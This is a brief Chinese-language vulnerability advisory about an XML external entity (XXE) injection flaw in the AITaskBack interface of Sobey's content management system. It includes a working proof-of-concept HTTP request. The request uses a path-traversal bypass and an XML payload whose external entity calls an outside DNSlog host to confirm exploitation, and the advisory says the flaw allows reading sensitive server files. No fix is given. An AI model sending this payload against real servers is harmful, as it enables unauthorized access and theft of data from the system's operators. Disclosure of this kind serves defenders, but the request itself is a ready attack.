索贝内容管理系统 AITaskBack xml注入

日期: 2025-08-19 | 影响软件: 索贝内容管理系统 | POC: 已公开

漏洞描述

索贝 /sobey-mchEditor/mch/AIInt/AITaskBack接口存在XML外部实体注入（XXE）漏洞。攻击者可以通过构造恶意的XML数据包，利用该漏洞读取服务器上的敏感文件或发起其他恶意操作，可能导致敏感信息泄露。

PoC代码

POST /sobey-mchEditor/js/%2e%2e/mch/AIInt/AITaskBack?contentid=1&token=&siteCode= HTTP/1.1
Host: 
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://xxe.2qa24o.dnslog.cn/xxe_test">
]>
<root>
  <TextResult>&xxe;</TextResult>
</root>

相关漏洞推荐